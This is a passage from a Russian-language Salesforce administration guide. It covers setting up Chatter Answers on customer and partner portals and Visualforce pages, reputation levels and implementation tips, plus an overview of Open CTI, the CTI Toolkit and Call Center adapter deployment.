c. Установите флажок «Пользователь Chatter Answers» в разделе «Общие сведения».
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d. Нажмите кнопку «Сохранить».

4. Чтобы добавить вкладку Chatter Answers на клиентский портал, выполните указанные ниже действия.

a. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Параметры клиентского портала».

b. Щелкните имя нужного клиентского портала.

c. Нажмите кнопку «Настроить вкладки портала».

d. Чтобыпереместитьвкладку «Вопросиответ» в столбец «Выбранныевкладки», выберитенужнуювкладкуинажмите
кнопку «Добавить».

e. Нажмите кнопку «Сохранить».

5. Чтобы переименовать вкладку «Вопрос и ответ» на клиентском портале, выполните указанные ниже действия.

a. Введите строку «Переименовать вкладки и метки» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт
«Переименовать вкладки и метки».

b. Щелкните ссылку «Правка» напротив вкладки «Вопросы».

c. Нажмите кнопку «Далее».

d. Переименуйте вкладку «Вопрос и ответ» в разделе «Другие метки». Переименование доступно только в столбце
«Единственное число»  (но не в столбце «Множественное число»).

e. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Добавление Chatter Answers на портал

Добавление Chatter Answers на партнерский портал

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления Chatter
Answers на партнерский
портал:
• «Настройка

приложения»

КомпонентChatter Answersможетбытьдобавленна текущийпартнерскийпортал, чтобы
предоставитьпользователямпортала доступк зонамChatter Answersпосредствомодного
из официальных партнерских каналов.

1. ЧтобывключитьподдержкуChatter Answersнапорталах, выполните указанныениже
действия.

a. Введите строку «Параметры Chatter Answers» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт «Параметры Chatter Answers».

b. Нажмите кнопку «Правка».

c. Установите флажок «Отображать Chatter Answers на порталах».

d. Нажмите кнопку «Сохранить».

2. ЧтобывключитьподдержкуChatter Answers впрофиляхпользователейпартнерского
портала, выполните указанные ниже действия.

a. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем
выберите «Профили».

b. Щелкните ссылку «Правка»напротивнужногопрофиляпользователяпортала.

c. Щелкните ссылку «Параметры объекта» в разделе «Приложения».
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d. Щелкните ссылку «Вопрос и ответ» на странице «Параметры объекта».

e. Выберите значение «Включены стандартные параметры» в разделе «Параметры вкладки».

f. Нажмите кнопку «Сохранить» и вернитесь на страницу «Параметры объекта».

g. Щелкните ссылку «Вопросы и ответы» и установите флажки «Чтение» и «Создание» в разделе «Полномочия
объекта».

h. Нажмите кнопку «Сохранить».

3. Чтобыназначитьпользователямпартнерскогопорталалицензию «ПользовательChatter Answers», выполнитеуказанные
ниже действия.

a. Введите строку «Пользователи» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Пользователи».

b. Щелкните ссылку «Правка» напротив нужного пользователя портала.

c. Установите флажок «Пользователь Chatter Answers» в разделе «Общие сведения».

d. Нажмите кнопку «Сохранить».

4. Чтобы добавить вкладку Chatter Answers на партнерский портал, выполните указанные ниже действия.

a. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры».

b. Щелкните имя нужного партнерского портала.

c. Нажмите кнопку «Настроить вкладки портала».

d. Чтобы переместить вкладку Chatter Answers в столбец «Выбранные вкладки», выберите Chatter Answers и нажмите
кнопку «Добавить».

e. Нажмите кнопку «Сохранить».

5. Чтобы переименовать вкладку Chatter Answers на партнерском портале, выполните указанные ниже действия.

a. Введите строку «Переименовать вкладки и метки» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт
«Переименовать вкладки и метки».

b. Щелкните ссылку «Правка» напротив вкладки «Вопросы».

c. Нажмите кнопку «Далее».

d. Переименуйте вкладку «Вопрос и ответ» в разделе «Другие метки». Переименование доступно только в столбце
«Единственное число»  (но не в столбце «Множественное число»).

e. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Добавление Chatter Answers на портал
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Добавление настраиваемой страницы Visualforce для отображения Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания страницы
Visualforce:
• «Настройка

приложения»

Для добавления вкладки
Visualforce:
• «Настройка

приложения»

Рекомендуем использовать страницу Visualforce для предоставления клиентам
настраиваемого доступа к компоненту Chatter Answers.

Рекомендуем создать страницу Visualforce, содержащую компонент
chatteranswers:allfeeds или набор следующих компонентов:
chatteranswers:aboutme, chatteranswers:guestsignin,
chatteranswers:feedfilter, chatteranswers:feeds,
chatteranswers:searchask, chatteranswers:datacategoryfilter.

Чтобы добавить настраиваемую страницу Visualforce для отображения Chatter Answers,
выполните указанные ниже действия.

1. Введите строку «Вкладки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Вкладки», чтобы вывести список вкладок Visualforce организации.

2. Чтобы создать вкладку Visualforce, нажмите кнопку «Создать» в разделе «Вкладки
Visualforce».

3. Выберите нужную страницу Visualforce и заполните другие поля страницы.

4. Нажмите кнопку «Далее».

5. Выберите профили, которым должна быть доступна вкладка.

6. Выберите настраиваемые приложения, из которых должна быть доступна данная
вкладка.

7. Нажмите кнопку «Сохранить».

Прежде чем добавить вкладку Visualforce в качестве вкладки приложения «Сообщество»,
убедитесь, что страница доступна на вкладках сообщества.

ПреждечемдобавитьвкладкуVisualforceнаклиентскийпортал, убедитесь, чтовкладкаVisualforceподдерживаетотображение
на портале.

Вкладка Visualforce не требует добавления на сайт Force.com. Прежде чем настроить сайт, рекомендуем просто проверить
наличие страницы Visualforce с компонентами Chatter Answers.

СМ. ТАКЖЕ:

Настройка Chatter Answers посредством страниц Visualforce
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Устранение ошибок настройки Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра настройки:
• «Просмотр настройки и

конфигурации»

Для настройки Chatter
Answers:
• «Настройка

приложения»

Все конфигурации настроенного сообщества Chatter Answers могут быть просмотрены
наоднойстраницеввидеснимка, позволяющегодиагностироватьошибкибезпросмотра
многочисленных страниц раздела «Настройка».

1. Введите строку «Параметры сайтов» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Параметры сайтов».

2. Щелкнитессылку «Просмотр»напротивсайта Force.com, связанногос сообществом,
в столбце «Снимок сайта».

3. Чтобы показать или скрыть разные параметры, нажмите кнопку или
соответственно.

4. Чтобы открыть определенную страницу настройки, поддерживающую изменение
параметров, нажмите кнопку «Начать».

Пример: Например, снимок сайта позволяет просмотреть наличие флажка
«Активно» для сайта Force.com, используемого для размещения сообщества, или
проверить имена профилей, назначенные клиентскому порталу.

СМ. ТАКЖЕ:

Общие сведения о внедрении Chatter Answers

Общие сведения о пользователях Chatter Answers

Настройка Chatter Answers

Общие сведения о пользователях Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

Chatter Answers объединяет клиентский портал с некоторымифункциями, поэтому
управление пользователями Chatter Answers аналогично управлению пользователями
клиентского портала. Ниже перечислены компоненты, которые позволяют управлять
данными и функциями, доступными пользователям Chatter Answers.

• Профили, полномочияипараметрыдоступаопределяютполномочияпользователя
на выполнение различных функций (например, добавление комментариев к
обращению).

• Лицензии пользователя определяют профили и наборы полномочий, доступные
пользователю (например, лицензия «Массовый клиентский портал (пользователь
портала Service Cloud)» или «Менеджер клиентского портала: настраиваемый»).

• Лицензиина компонентыпредоставляютпользователямдоступ к дополнительным
функциям Salesforce (например, Chatter Answers).

• Параметры безопасности поля определяют поля, доступные пользователям (например, поля в статьях Salesforce
Knowledge).

• Наборыдляобщегодоступапозволяютпредоставлятьдоступк записитолькоопределеннымгруппампользователей
массового портала.

Ниже перечисленыфункции, доступные пользователям клиентского портала, которые не поддерживаются в Chatter
Answers.

• Идеи

• Группы

2788

Создание веб-каналов и каналов социальной сетиНастройка и обслуживание инструментов службы поддержки



• Рабочие группы

• Отчеты

• Содержимое

• Макеты страниц

• Настраиваемые объекты

• Делегированное администрирование внешних пользователей

• Иерархия ролей клиентского портала (доступно, но не используется)

• Правила общего доступа к клиентскому порталу, кроме пользователей массового портала

Ниже перечислены записи, которые доступны пользователям Chatter Answers только в зоне.

• Обращения

• Вопросы

• Ответы

• Статьи Salesforce Knowledge

Chatter Answers поддерживает один язык пользователя для каждой созданной зоны. При включении Chatter Answers
страницы Visualforce, добавленные в организацию автоматически, наследуют стандартный язык организации. Тем не
менее, атрибут языка может быть изменен на каждой странице Visualforce. Пользователи, зарегистрировавшиеся в зоне
самостоятельно, наследуют язык, используемый в организации по умолчанию. Независимо от языка, выбранного в
параметрах обозревателя, зона доступна пользователям-гостям на языке, указанном на страницах Visualforce.

Прим.:

• Пользователи Chatter Answers не могут менять язык, часовой пояс или региональные настройки.

• КомпонентChatter Answersдоступентолькопользователямпортала, имеющимлицензию «ПользовательChatter
Answers». Даннаялицензияавтоматическиназначаетсяпользователяммассовогопортала, которыесамостоятельно
регистрируются в Chatter Answers. Чтобы вручнуюназначить даннуюлицензиюпользователю, не прошедшему
самостоятельнуюрегистрацию, изменитесведенияопользователеиустановитефлажок «Пользователь Chatter

Answers».

• Компонент Chatter Answers недоступен профилям «Пользователь проверенного веб-узла».

Внутренние пользователи с полномочием на просмотр Chatter Answers могут просматривать все зоны организации на
вкладке «Вопрос и ответ». Внутренние пользователи, выполнившие вход в сообщество, могут просматривать только
зоны, связанные с соответствующим сообществом.

СМ. ТАКЖЕ:

Настройка Chatter Answers
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Стимулирование участия посредством репутации Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

Оценка действийучастников сообществапозволяетопределитьопыти уровень знаний
самых активных участников. Пользователи организации, поддерживающейрепутации,
могут зарабатывать очки и рейтинги, отображающиеся при наведении указателя мыши
на их фотографии в ленте. Знатоки являются наиболее активными участниками
сообщества, поэтому опубликованное ими содержимое и ответы отличаются более
высоким качеством и точностью. Таким образом, ответы, публикуемые экспертами на
вопросы пользователей, заслуживают особого доверия и позволяют значительно
сократить количество обращений в службу поддержки организации.

Пользователи могут зарабатывать очки за сообщения, которым отдаются голоса или которые выбираются в качестве
решения вопроса в любой зоне с их участием. При накоплении достаточного количества очков текущая репутация, а
также количество сообщений и решенных вопросов в данной зоне, отображаются при наведении указателя мыши на
фотографию пользователя. Репутационные очки вычисляются отдельно для каждой зоны, а также для совокупной
активностивнутривсейорганизации. Пользователи, участвующиевразныхзонах, получаютразныезначениярепутации
для каждой зоны на основе их активности в соответствующей зоне. Репутация пользователей, выполнивших вход во
внутреннее приложение, определяется их участием во всех зонах, которым они принадлежат.

Ниже перечислены предопределенные уровни репутации, применяемые во всех зонах Chatter Answers.

ЦветКоличество очковИмя

Зеленый0 – 499Новичок

Синий500 – 1999Эрудит

Фиолетовый2000 – 4999Профи

Оранжевый5000+Знаток
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Чтобы добавить или изменить имя уровня репутацииили необходимое количество очков в любой зоне, воспользуйтесь
объектом ChatterAnswersReputationLevel в интерфейсе API. Каждая зона позволяет создавать не более 25 разных уровней
репутации. Цвета для разных уровней репутации могут быть изменены в таблице стилей (CSS).

СМ. ТАКЖЕ:

Общие сведения о пользователях Chatter Answers

Советы по внедрению Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

Ниже перечислены рекомендации по планированию и внедрению Chatter Answers.

• Настройка и поддержка Chatter Answers, объединяющего в себе несколькофункций
Salesforce, должны выполняться опытными разработчиками и администраторами
Salesforce.

• Прежде чем настроить Chatter Answers, в организациях должна быть включена
поддержка категорий данных. Чтобы разрешить участникам зон просмотр статей
Salesforce Knowledge, администратордолженвключитьподдержкуSalesforce Knowledge.

• Чтобы настроить поля, макеты страниц, кнопки, ссылки, триггеры Apex и правила
проверки для вопросов и ответов Chatter Answers введите строку«Chatter Answers» в
поле «Быстрый поиск» в меню «Настройка», выберите пункт «Chatter Answers» и
соответствующие настройки.

• Ниже перечислены некоторые элементы, которые автоматически добавляются в организацию и используются для
настройки зон после включения Chatter Answers.

– Вкладка «Вопрос и ответ», позволяющая внутренним пользователям и администраторам просматривать и
использовать Chatter Answers. Данная вкладка может быть переименована администратором.

– Стандартные параметры полномочий для вопросов в профилях, чтобы предоставлять пользователям доступ к
вопросам и ответам.

– СтраницыVisualforce, которыеможнодобавитьнасайтForce.com, вкладкуприложения «Сообщество»иликлиентский
портал, чтобы пользователи могли регистрироваться, выполнять вход и просматривать элементы ленты в зоне.

– Класс Apex ChatterAnswersRegistration с методом настройки процесса создания организаций для
пользователей портала.

– Триггер Apex chatter_answers_question_escalation_to_case_trigger для вопросов, чтобы
выполнять автоматическое расширение вопросов с указанными атрибутами до обращений.

– Обновлениеполябизнес-правила chatter_answers_num_subscriptions_above_, чтобыобновлятьполе
вопроса «Приоритет» в случае расширения вопроса до обращения.

– Два бизнес-правила (chatter_answers_no_best_reply_within_time_limit_wf и
chatter_answers_num_subscriptions_above_limit_wf), доступные для настройки и активации с
целью автоматического расширения вопросов без лучших ответов или вопросов с заданным количеством
отслеживающих пользователей до обращений.

• КомпонентChatter Answersможетбытьдобавленна текущийклиентскийилипартнерскийпортал, чтобыпредоставить
пользователям портала доступ к зонам Chatter Answers посредством одного из официальных каналов.

• Chatter Answers поддерживает один язык пользователя для каждой созданной зоны. При включении Chatter Answers
страницы Visualforce, добавленные в организацию автоматически, наследуют стандартный язык организации. Тем не
менее, атрибут языкаможетбытьизмененна каждойстраницеVisualforce. Пользователи, зарегистрировавшиесяв зоне
самостоятельно, наследуют язык, используемый в организации по умолчанию. Независимо от языка, выбранного в
параметрах обозревателя, зона доступна пользователям-гостям на языке, указанном на страницах Visualforce.
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• Пользовательскийинтерфейс зоныпозволяетпереименоватьметку «Служба поддержки». Например, метка «Служба
поддержки» можетбыть замененаметкой «Поддержка Acme». Простоизменитеметку «Службаподдержки» дляобъекта
«Вопрос».

• Вопросы, расширенные до обращений, содержат ленту, аналогичную ленте Chatter, на страницах сведений об
обращениях. Кроме того, страница сведенийобобращениисодержитраздел «Просмотрклиента», которыйпозволяет
агентам службы поддержки публиковать общедоступные или личные ответы в поток зоны.

• Комментарии к обращениям, помеченные как «Общедоступные», отображаются в качестве личных сообщений от
службы поддержки в Chatter Answers. Они недоступны всему сообществу. Например, общедоступный комментарий
к обращению, добавленный агентом службы поддержки, отображается только контакту обращения при его входе в
Chatter Answers. Агенты службы поддержки могут просматривать любые личные и общедоступные комментарии к
обращениям. .

• Ниже перечислены действия, при выполнении которых Chatter Answers отправляет пользователям сообщения эл.
почты.

– Регистрация в организации.

– Отслеживание вопроса (ответы или комментарии).

– Получение ответа или комментария на вопрос.

– Получение личного ответа на вопрос от службы поддержки.

• Пользователям Internet Explorer 8 отображаетсяпредупреждениесистемыбезопасности, еслинастраиваемые URL-адреса
не содержат префикса https://.

• Прежде чем предоставить общий доступ к зоне, добавьте как минимум 20 типичных вопросов, ответов или статей.
Данное содержимое станет основой созданных диалогов.

• Создайте статьи Salesforce Knowledge, содержащие указанные ниже сведения.

– Номер телефона службыподдержки, чтобы клиентымоглинапрямуюсвязываться с агентами службыподдержки.

– Условиядля участников зоны (например, условия удаления агентамислужбыподдержкивопросовикомментариев
клиентов).

• Ниже перечислены объекты API, используемые в Chatter Answers.

– Обращение

– ChatterAnswersActivity

– ChatterAnswersReputationLevel

– Community (Zone)

– Вопрос

– QuestionReportAbuse

– QuestionSubscription

– Reply

– ReplyReportAbuse

СМ. ТАКЖЕ:

Рекомендации по использованию Chatter Answers

Настройка Chatter Answers
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Расширение вопроса до обращения в Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Вопрос и ответ»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для создания обращений:
• «Создание» для

обращений

Администраторы организации и избранные участники сообщества (например,
модераторы) могут расширять нерешенные вопросы Chatter Answers до обращений.

При создании обращения страница сведений о вопросе дополняется ссылкой на
обращение, которая отображается в течение всего срока существования вопроса. Кроме
того, данная ссылка отображает статус обращения.

Чтобы расширить вопрос до обращения, выполните указанные ниже действия.

1. Щелкните заголовок нужного вопроса.

2. Щелкнитетреугольникрядомсвопросом, чтобыотобразитьраскрывающеесяменю,
затем щелкните «Расширить до обращения».

Прим.: Данный параметр отображается только при наличии полномочия для
создания обращений. Пользователи, созданные из контактов, не могут
расширять вопросы до обращений.

3. Чтобыизменитьстандартныезначения, обновитеполяобращения. Заголовоквопроса
автоматически становится темой обращения.

4. Нажмите кнопку «Сохранить». Данное действие открывает страницу сведений о
вопросе, а обращение становится доступно ответственному для принятия решения.

Прим.: При закрытии обращения вопросу не присваивается статус решенного;
при решении вопроса не закрывается обращение. Обновление обращений и
вопросов должно выполняться раздельно.

Рекомендации по использованию Chatter Answers

Нижеперечисленырекомендациипо планированиюииспользованию Chatter Answers.

• Рекомендуем сообщить агентам службы поддержки, что:

– поле «Происхождение обращения» содержит значение Chatter Answers во всех обращениях, преобразованных
из вопросов;

– личный ответ на вопрос не может быть преобразован в общедоступный ответ.

• Рекомендуем назначить агента службы поддержки для просмотра общедоступных вопросов на вкладке «Вопрос и
ответ». Агентыне могут выбирать ссылку «Пометить» напротив вопросов или ответов со статусом «Спам», «Ужасно»
или «Недопустимо», однако при наличии полномочия «Удаление» для вопросов они могут редактировать и удалять
вопросы или ответы, опубликованные в зонах, посредством вкладки «Вопрос и ответ».

• Чтобы быстро обслуживать большое количество вопросов, рекомендуем агентам службы поддержки использовать
фиксированные списки на консоли Salesforce (вкладка «Вопрос и ответ» должна быть добавлена на вкладку консоли
«Навигация»).

• Чтобы просмотреть список обращений, преобразованных из вопросов, рекомендуем администраторам или агентам
службы поддержки создать представление обращений, где полю «Происхождение обращения» задано значение
Chatter Answers.
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• Фотографии, добавленные в профили, доступны внешним пользователям Chatter Answers, поэтому рекомендуем
агентам службы поддержки выбирать фотографии, соответствующие политике и фирменному стилю компании.

СМ. ТАКЖЕ:

Советы по внедрению Chatter Answers

Настройка Chatter Answers

Создание телефонных каналов

Общие сведения о Open CTI от компании Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение Salesforce CRM Call Center позволяет объединять Salesforce со сторонними
системамикомпьютернойтелефонии (CTI). ДопоявленияOpen CTIдоступпользователей
Salesforce к системе компьютерной телефонии был возможен только после установки
специальногоадаптера CTI. Вместес адаптеромустанавливалосьнастольноепрограммное
обеспечение, котороетребовалоспециализированногообслуживанияинеподдерживало
преимуществ облачной архитектуры. Ниже перечислены действия, доступные
разработчикам при использовании Open CTI.

• Разработка систем компьютерной телефонии, интегрируемых в Salesforce без
использования адаптеров CTI.

• Созданиенастраиваемыхпрограммных телефонов (средства управления вызовами),
функционирующихкакполностьюинтегрированныекомпонентысистемыSalesforce
и консоли Salesforce.

• Предоставление пользователям систем компьютерной телефонии, независимых от обозревателя и платформы
(например, CTI для Microsoft® Internet Explorer®, Mozilla® Firefox®, Apple® Safari® или Google Chrome™ на платформе Mac, Linux
или Windows).

Разработчики используют Open CTI в JavaScript для внедрения процессов и вызовов API; Open CTI может использоваться
только на страницах JavaScript. Нижеперечислены компоненты, знание которыхпозволяет разработчикамиспользовать
Open CTI.

• CTI

• JavaScript

• Visualforce

• Веб-службы

• Разработка программного обеспечения

• Консоль Salesforce

• Salesforce CRM Call Center

ДополнительнуюинформациюобиспользованииOpen CTIдляразработкиинастройкисистемкомпьютернойтелефонии
см. в Руководстве разработчика Open CTI (только на английском языке).

СМ. ТАКЖЕ:

Общие сведения о Call Center

Обозреватели, поддерживающие Open CTI от компании Salesforce
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Обозреватели, поддерживающие Open CTI от компании Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Open CTIподдерживается обозревателями Microsoft® Internet Explorer® 8, Mozilla® Firefox® 3.6,
Apple® Safari® 4, Google Chrome™ 11.0 или более поздних версий.

СМ. ТАКЖЕ:

Общие сведения о Open CTI от компании Salesforce

Общие сведения об инструментарии Salesforce CTI Toolkit

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Инструментарий CTI Toolkit, предоставленный компанией Salesforce, используется для
разработки адаптеров CTI, которые объединяют систему Salesforce со сторонними
системами компьютерной телефонии. Адаптеры CTI, разработанные с помощью
инструментария CTI Toolkit, устанавливаются на рабочие компьютеры пользователей
Salesforce CRM Call Center и предоставляют доступ к функциям системы CTI посредством
программного телефона Salesforce.

Инструментарий CTI Toolkit доступенв трех версиях. Каждая версияподдерживаетразные
функции Salesforce CRM Call Center. Темнеменее, компания Salesforceпредоставляетдоступ
только к инструментарию CTI Toolkit 4.0 или более поздней версии. В таблице ниже
перечисленыфункции, доступные в адаптерах CTI, разработанных с помощью разных
версий инструментария CTI Toolkit.

CTI Toolkit 4.0
или более
поздней
версии

CTI Toolkit 3.0
или более
поздней
версии

CTI Toolkit 2.0
или более
поздней
версии

CTI Toolkit 1.0
или более
поздней
версии

Функция

Изменение
полей и
порядка их
отображения в
программном
телефоне

Изменение
объектов и
порядка
отображения
соответствующих
ссылок в
программном
телефоне
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CTI Toolkit 4.0 или
более поздней
версии

CTI Toolkit 3.0 или
более поздней
версии

CTI Toolkit 2.0 или
более поздней
версии

CTI Toolkit 1.0 или
более поздней
версии

Функция

Выбор полей,
отображаемых в
программном
телефоне, в случае
обнаружения всего
одной записи для
отдельного объекта

Выбор параметров
всплывающего окна
длявходящихвызовов,
совпадающихсодной
или несколькими
записями, либо не
совпадающих ни с
одной записью

Отображение
всплывающих окон
длявходящихвызовов
воткрытомилиновом
окне обозревателя,
либонановойвкладке
обозревателя

Отображение
всплывающих окон
длявходящихвызовов
на страницах
Visualforce

Отображение
всплывающих окон
длявходящихвызовов,
совпадающих с
несколькими
записями, на
страницах поиска

Просмотр текущей
версии центра
обработки вызовов в
поле «Версия»
(введите строку
«Центры обработки
вызовов» в поле
«Быстрый поиск» в
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CTI Toolkit 4.0 или
более поздней
версии

CTI Toolkit 3.0 или
более поздней
версии

CTI Toolkit 2.0 или
более поздней
версии

CTI Toolkit 1.0 или
более поздней
версии

Функция

меню «Настройка»,
выберите пункт
«Центры обработки
вызовов», а затем
нужный центр)

Просмотр
расширенного
пользовательского
интерфейса
программного
телефона в нижнем
колонтитуле консоли
Salesforce

Регистрация вызовов
в настраиваемом
журнале
взаимодействия на
консоли Salesforce

Поддержка
обозревателей,
совместимых с
функцией
междоменногообмена
сообщениями

Уменьшение размера
и уровня сложности
адаптера CTI

Дополнительную информацию о разработке и настройке адаптеров CTI см. в документах ниже (только на английском
языке).

• Руководство разработчика CTI Toolkit (версия 4.0)

• Руководство разработчика CTI Toolkit (1.0 — 3.0)

Партнерыиразработчикимогут загрузитьинструментарий CTI Toolkit настраницеdeveloper.salesforce.com. Инструментарий
CTI Toolkit содержит все необходимое (исходныйкод, библиотекиифайлы) для разработки собственногонастраиваемого
адаптера CTI.

СМ. ТАКЖЕ:

Общие сведения о Call Center

Создание настраиваемого макета программного телефона
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Общие сведения о Call Center

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение Salesforce CRM Call Center позволяет объединять Salesforce со сторонними
системами компьютерной телефонии (CTI). Пользователям Salesforce, на рабочие
компьютеры которых установлен небольшой адаптер CTI, предоставляется доступ к
программному телефону Salesforce (настраиваемое средство управления вызовами,
которое отображается на боковой панели всех страниц Salesforce или в нижнем
колонтитуле консоли Salesforce).

Ниже перечислены действия, доступные пользователям Salesforce в программном
телефоне.

• Выполнениевызововпутемнабораномеравпрограммномтелефоне, выбораномера
в интерактивном каталоге или в любой записи контакта, интереса, действия или
организации

• Прием вызовов

• Быстрый просмотр всех записей Salesforce, связанных с вызовом, например, контактов, обращений или организаций

• Переадресация вызовов

• Организация конференц-связи

• Удержание вызовов

• Связывание записей с вызовами

• Создание автоматических журналов вызовов

Ниже перечислены способы настройки приложения Salesforce CRM Call Center, доступные администраторам.

• Изменение макетов программного телефона и их назначение выбранным профилям пользователя

• Добавление телефонных номеров в каталоги центра обработки вызовов

Ниже перечислены действия, доступные разработчикам в библиотеках кодов Salesforce CRM Call Center.

• Настройка функций текущих адаптеров CTI

• Создание адаптеров CTI для неподдерживаемых телефонных систем

Дополнительную информацию о...

• работе с приложением Salesforce CRM Call Center см. в разделах «Использование программного телефона» на странице
2437 и «Использование программного телефона на консоли Salesforce» на странице 4309

• развертывании и настройке приложения Salesforce CRM Call Center см. в разделе «Настройка Salesforce CRM Call Center»
на странице 2799

• разработке и настройке адаптеров CTI см. в Руководстве разработчика CTI Toolkit

• разработке облачных систем компьютерной телефонии см. в разделе «Общие сведения об Open CTI от компании
Salesforce» на странице 2794

.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Развертывание адаптеров на компьютерах центра обработки вызовов

Общие сведения об инструментарии Salesforce CTI Toolkit
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Настройка Salesforce CRM Call Center

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления центрами
обработки вызовов,
макетами программного
телефона и пользователями
или каталогами центра
обработки вызовов:
• «Управление центрами

обработки вызовов»

Ниже перечислены действия, которые должны быть выполнены администратором
организации, чтобыпредоставитьпользователям Salesforce доступ кфункциям Salesforce
CRM Call Center.

1. Установите адаптер CTI на рабочий компьютер каждого пользователя центра
обработки вызовов. Функции Salesforce CRM Call Center доступнытолькоприналичии
адаптера.

2. Определите новую запись центра обработки вызовов для каждой системы CTI ,
используемой в организации.

3. Назначьте пользователей Salesforce соответствующему центру обработки вызовов.
Просмотрпользовательскогоинтерфейсапрограммноготелефонадоступентолько
тем пользователям Salesforce CRM Call Center, которые связаны с центром обработки
вызовов.

4. Дополнительно:

• Настройте телефонные каталоги центра обработки вызовов путем добавления
дополнительных номеров каталога и обновленныхмакетов поиска телефонных
номеров.

• Настройтемакетыпрограммноготелефонадляразличныхпрофилей. Например,
программный телефон торгового представителя может отображать связанные
интересы, организации и возможности, а программный телефон сотрудника
службы поддержки — связанные обращения и решения.

• Включите поддержку HTTPS для центра обработки вызовов (если используются
адаптеры CTI, разработанные с помощью инструментария CTI Toolkit 4.0).

Развертывание адаптеров на компьютерах центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПриложениеSalesforce CRM Call Center требуетналичияадаптера CTIнарабочемкомпьютере
(кроме центров обработки вызовов, созданных посредством Open CTI). Адаптер CTI —
это небольшое приложение, контролирующее внешний вид и функциональность
программного телефона Salesforce. Функции программного телефона определяются
версией инструментария CTI Toolkit, используемой для его разработки.

Адаптер CTI взаимодействует с определенной системой CTI, поэтому для каждого типа
системы CTI должен использоваться отдельный адаптер CTI. Например, интеграция двух
центров обработки вызовов на базе Cisco IPCC Enterprise™ и Cisco IPCC Express™ возможна
только при наличии двух адаптеров CTI. На компьютер пользователя должен быть
установлен только адаптер CTI для соответствующего центра обработки вызовов.

Чтобы загрузить адаптер CTI для программного телефона, воспользуйтесь каталогом
AppExchange. Установочный пакет содержит настроечныйфайл адаптера и файл
определения центра обработки вызовов, который может использоваться совместно с адаптером.

Чтобы установить адаптер CTI на отдельный компьютер, запустите приложение Setup.exe в качестве
пользователя-администратора Windows.

Чтобы установить адаптер CTI сразу на все компьютеры центра обработки вызовов, воспользуйтесь поставляемым
MSI-файлом и любой системой управления программным обеспечением.

Ниже перечислены действия, доступные после установки адаптера CTI.
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• Чтобы запустить приложение, последовательно выберите пункты «Пуск» > «Программы» > «salesforce.com» >
«Адаптер <имясистемы CTI>». Выполнениеадаптера CTI определяетсяпозначку всистемнойобластикомпьютера.

• Чтобы остановить приложение, правой кнопкой мышищелкните значок адаптера CTI ( ) в системной области
рабочего стола и выберите пункт «Выход».

• Чтобыизменить параметрыжурнала, правой кнопкоймышищелкните значок адаптера CTI ( ) в системной области
рабочего стола и выберите пункт «Ведениежурнала...». Ниже перечислены действия, доступные в диалоговом окне
«Параметры журнала CTI».

– Выберите нужные типы сообщений. Значение «Низкий: ошибки» должно быть задано уровням журнала до тех
пор, пока обнаруженные ошибки адаптера не будут устранены.

– Укажите область хранения двух системных журналов, создаваемых адаптером CTI.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Управление пользователями центра обработки вызовов

